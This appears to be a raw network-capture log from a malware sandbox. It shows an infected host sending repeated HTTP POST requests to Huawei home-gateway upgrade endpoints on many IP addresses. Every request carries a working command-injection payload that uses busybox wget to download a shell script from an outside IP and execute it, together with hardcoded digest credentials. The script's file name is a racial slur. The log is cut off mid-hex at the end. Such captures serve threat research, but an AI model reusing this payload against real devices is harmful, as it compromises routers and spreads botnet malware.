xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:58.376183987 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:09.638557911 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:33.699213982 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.23	35622	94.121.97.176	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:36:47.321459055 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.23	47810	94.122.24.121	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:36:47.321541071 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.23	53568	94.122.73.86	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:36:47.321629047 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.23	44128	94.122.89.39	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:36:47.321712971 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.23	47678	94.122.7.96	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:36:47.321789980 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.23	41568	94.121.124.225	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:36:47.321871996 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 